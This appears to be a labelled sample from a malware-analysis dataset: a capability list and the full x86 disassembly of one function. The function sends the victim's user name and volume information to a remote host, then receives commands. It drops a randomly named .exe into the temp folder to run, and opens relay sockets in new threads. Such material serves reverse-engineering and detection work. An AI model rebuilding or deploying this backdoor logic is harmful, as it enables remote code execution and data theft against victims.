Function at 0x10001386
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create thread
Create udp socket
Get common file path
Get disk information
Get session user name
Get socket status
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff850
push ebx
push edi
push esi
lea ecx, [ebp - 0xc]
sub ecx, esp
push ecx
lea eax, [esp + 0x10]
push eax
call fcn.10001e5b
push 4
push 0x3000
push 0x10000
push 0
call sub.kernel32.dll_VirtualAlloc
test eax, eax
je 0x1000197f
mov dword [ebp - 4], eax
push 4
push 0x3000
push 0x10000
push 0
call sub.kernel32.dll_VirtualAlloc
test eax, eax
je 0x1000197f
mov dword [ebp - 0x34], eax
push 0
push 1
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [ebp - 0x688], eax
mov edi, dword [ebp - 0x34]
mov dword [edi], 0x100
push edi
lea eax, [edi + 0x52]
push eax
push 2
call sub.secur32.dll_GetUserNameExA
push 6
push 1
push 2
call sub.wsock32.dll_socket
mov dword [ebp - 0x364], eax
mov dword [ebp - 0x68c], 1
push 4
lea eax, [ebp - 0x68c]
push eax
push 1
push 6
push dword [ebp - 0x364]
call sub.wsock32.dll_setsockopt
lea eax, [ebp - 0x7a8]
push eax
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.10001e72
push 2
lea eax, [ebp - 0x7a8]
push eax
call fcn.10001d48
mov dword [ebp - 0x18], eax
push dword [ebp + 0xc]
call sub.wsock32.dll_htons
mov word [ebp - 0x1a], ax
mov word [ebp - 0x1c], 2
mov dword [ebp - 0x68c], 1
lea eax, [ebp - 0x68c]
push eax
push 0x8004667e
push dword [ebp - 0x364]
call sub.wsock32.dll_ioctlsocket
push 0x10
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 0x364]
call sub.wsock32.dll_connect
push 0
push 0xa
lea eax, [ebp - 0x30]
push eax
push 0
push dword [ebp - 0x364]
call fcn.10001e21
lea eax, [ebp - 0x24]
push eax
push 0
lea eax, [ebp - 0x30]
push eax
push 0
push 0
call sub.wsock32.dll_select
cmp eax, 1
jne 0x1000197f
mov dword [ebp - 0x68c], 0
lea eax, [ebp - 0x68c]
push eax
push 0x8004667e
push dword [ebp - 0x364]
call sub.wsock32.dll_ioctlsocket
push 0x32
lea eax, [edi + 0x1c]
push eax
push 0x10005075
call fcn.10001dd4
mov word [edi + 0x4e], 1
mov byte [edi + 0x7b], 0
push 0
push 0
push 0
push 0
lea eax, [edi + 0x7c]
push eax
push 0
push 0
push 0
call sub.kernel32.dll_GetVolumeInformationA
push 0x32
lea eax, [edi + 0x4e]
push eax
push 0x32
push 0x10005075
call fcn.10001a05
mov eax, dword [ebp - 0x34]
add eax, 0x1c
push 0
push 0x64
push eax
push dword [ebp - 0x364]
call fcn.10001c6e
cmp dword [ebp - 8], 0
jne 0x10001602
cmp dword [ebp - 0x44], 4
je 0x10001602
push 0
push 0x3c
lea eax, [ebp - 0x30]
push eax
push 0
push dword [ebp - 0x364]
call fcn.10001e21
lea eax, [ebp - 0x24]
push eax
push 0
push 0
lea eax, [ebp - 0x30]
push eax
push 0
call sub.wsock32.dll_select
cmp eax, 0
jl 0x1000197f
or eax, eax
jne 0x10001602
cmp dword [ebp - 0x40], 0
jne 0x1000197f
cmp dword [ebp - 0x44], 0
jne 0x1000197f
mov dword [ebp - 0x6a4], 1
inc dword [ebp - 0x7ac]
cmp dword [ebp - 0x7ac], 2
je 0x1000197f
mov dword [ebp - 0x7b0], 0
push 3
lea eax, [ebp - 0x7b0]
push eax
push 0x32
push 0x10005075
call fcn.10001a05
push dword [ebp - 0x688]
push 3
lea eax, [ebp - 0x7b0]
push eax
push dword [ebp - 0x364]
call fcn.10001c6e
jmp 0x1000154a
mov edi, dword [ebp - 0x34]
cmp dword [ebp - 0x40], 0
jne 0x10001615
cmp dword [ebp - 0x44], 4
jne 0x100018f7
cmp word [edi + 2], 0
jne 0x1000166a
cmp byte [edi], 0xff
jne 0x1000163b
cmp byte [edi + 1], 0xfe
jne 0x1000163b
mov dword [ebp - 0x6a8], 1
jmp 0x1000197f
cmp byte [edi], 0
jne 0x1000164c
cmp byte [edi + 1], 0
jne 0x1000164c
nop
jmp 0x100018eb
movzx ebx, byte [edi + 1]
cmp dword [ebp + ebx*4 - 0x364], 0
je 0x10001665
mov dword [ebp + ebx*4 - 0x364], 0
jmp 0x100018eb
cmp dword [ebp - 8], 0
jne 0x100016a9
push 0
push 0x10000
push dword [ebp - 4]
push dword [ebp - 0x364]
call fcn.10001cf5
test eax, eax
jle 0x1000197f
mov dword [ebp - 8], eax
mov dword [ebp - 0x7ac], 0
push 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
call fcn.10001dd4
mov edx, dword [ebp - 0x40]
movzx ecx, word [edi + 2]
sub ecx, edx
cmp dword [ebp - 8], ecx
ja 0x100016ba
mov ecx, dword [ebp - 8]
push ecx
lea eax, [edx + edi + 4]
push eax
push dword [ebp - 0xc]
call fcn.10001dd4
add dword [ebp - 0xc], ecx
sub dword [ebp - 8], ecx
add dword [ebp - 0x40], ecx
mov ax, word [ebp - 0x40]
cmp ax, word [edi + 2]
jne 0x100018eb
movzx eax, word [edi + 2]
push eax
lea eax, [edi + 4]
push eax
push 0x32
push 0x10005075
call fcn.10001a05
movzx ebx, byte [edi + 1]
cmp word [edi], 0xffff
jne 0x100017fe
mov ebx, dword [ebp - 0x34]
movzx eax, word [ebx + 2]
mov byte [eax + ebx + 4], 0
lea eax, [ebp - 0x38]
push eax
lea eax, [ebx + 8]
push eax
call fcn.10002199
cmp eax, 0x400
jle 0x100017f0
mov dword [ebp - 0x3c], eax
mov esi, dword [ebp - 0x34]
mov word [esi + 2], 4
push 3
lea eax, [esi + 1]
push eax
push 0x32
push 0x10005075
call fcn.10001a05
push 4
lea eax, [esi + 4]
push eax
push 0x32
push 0x10005075
call fcn.10001a05
push dword [ebp - 0x688]
push 7
lea eax, [esi + 1]
push eax
push dword [ebp - 0x364]
call fcn.10001c6e
mov edi, dword [ebp - 0x34]
push edi
push 0x200
call sub.kernel32.dll_GetTempPathA
add edi, eax
mov al, 0x5c
stosb byte es:[edi], al
push 4
call fcn.100020b2
lea ebx, [eax + 4]
push 0x18
call fcn.100020b2
add eax, 0x61
stosb byte es:[edi], al
dec ebx
jne 0x1000178a
mov al, 0x2e
stosb byte es:[edi], al
mov al, 0x65
stosb byte es:[edi], al
mov al, 0x78
stosb byte es:[edi], al
mov al, 0x65
stosb byte es:[edi], al
mov al, 0
stosb byte es:[edi], al
push 0
push 2
push dword [ebp - 0x3c]
push dword [ebp - 0x38]
push dword [ebp - 0x34]
call fcn.100020e3
mov edi, dword [ebp - 0x34]
mov esi, edi
add edi, 0x200
mov ecx, 0x13
push 0x18
call fcn.100020b2
add eax, 0x61
stosb byte es:[edi], al
loop 0x100017c9
xor al, al
stosb byte es:[edi], al
push 1
push 1
push 0
push dword [ebp - 0x34]
push 0x14
lea eax, [esi + 0x200]
push eax
call fcn.1000268e
lea eax, [ebp - 0x38]
push eax
call fcn.10002661
jmp 0x100018e4
cmp byte [edi], 0
jne 0x100018cd
push 4
push 0x3000
push 0x10000
push 0
call sub.kernel32.dll_VirtualAlloc
test eax, eax
je 0x1000197f
mov esi, eax
push 0x180
push esi
push edi
call fcn.10001dd4
lea eax, [ebp - 0x684]
mov dword [esi + 0x180], eax
mov dword [esi + 0x184], ebx
push 4
lea eax, [esi + 0x188]
push eax
lea eax, [ebp - 0x688]
push eax
call fcn.10001dd4
lea eax, [ebp - 0x364]
mov dword [esi + 0x18c], eax
mov dword [esi + 0x190], esi
cmp byte [esi + 7], 4
je 0x1000187c
push 6
push 1
push 2
call sub.wsock32.dll_socket
jmp 0x10001887
push 6
push 1
push 0x17
call sub.wsock32.dll_socket
mov dword [ebp + ebx*4 - 0x364], eax
mov dword [ebp - 0x68c], 1
push 4
lea eax, [ebp - 0x68c]
push eax
push 1
push 6
push dword [ebp + ebx*4 - 0x364]
call sub.wsock32.dll_setsockopt
push 0
push 0
push esi
push 0x10001017
push 0
push 0
call sub.kernel32.dll_CreateThread
mov dword [ebp + ebx*4 - 0x684], eax
jmp 0x100018e4
movzx eax, word [edi + 2]
push 0
push eax
lea eax, [edi + 4]
push eax
push dword [ebp + ebx*4 - 0x364]
call fcn.10001c6e
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x44], 0
jmp 0x1000197a
cmp dword [ebp - 8], 0
jne 0x1000193c
push 0
push 0x10000
push dword [ebp - 4]
push dword [ebp - 0x364]
call fcn.10001cf5
test eax, eax
jle 0x1000197f
mov dword [ebp - 0x6a4], 1
mov dword [ebp - 8], eax
mov dword [ebp - 0x7ac], 0
push 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
call fcn.10001dd4
mov ecx, dword [ebp - 0x44]
mov edx, 4
sub edx, dword [ebp - 0x44]
cmp dword [ebp - 8], edx
jae 0x1000194f
mov edx, dword [ebp - 8]
push edx
lea eax, [ecx + edi]
push eax
push dword [ebp - 0xc]
call fcn.10001dd4
add dword [ebp - 0xc], edx
sub dword [ebp - 8], edx
add dword [ebp - 0x44], edx
cmp dword [ebp - 0x44], 4
jne 0x1000197a
push 4
push edi
push 0x32
push 0x10005075
call fcn.10001a05
jmp 0x1000154a
push 2
push dword [ebp - 0x364]
call sub.wsock32.dll_shutdown
push dword [ebp - 0x364]
call sub.wsock32.dll_closesocket
lea esi, [ebp - 0x364]
mov ebx, 0xc8
mov dword [esi], 0
add esi, 4
dec ebx
jne 0x100019a2
xor eax, eax
lea edi, [ebp - 0x684]
mov ecx, 0xc8
repe scasd eax, dword es:[edi]
jne 0x100019ae
push dword [ebp - 0x688]
call sub.kernel32.dll_CloseHandle
push 0x8000
push 0
push dword [ebp - 4]
call sub.kernel32.dll_VirtualFree
push 0x8000
push 0
push dword [ebp - 0x34]
call sub.kernel32.dll_VirtualFree
cmp dword [ebp - 0x6a8], 1
jne 0x100019f8
push 0
call sub.kernel32.dll_ExitThread
mov eax, dword [ebp - 0x6a4]
pop esi
pop edi
pop ebx
leave
ret 8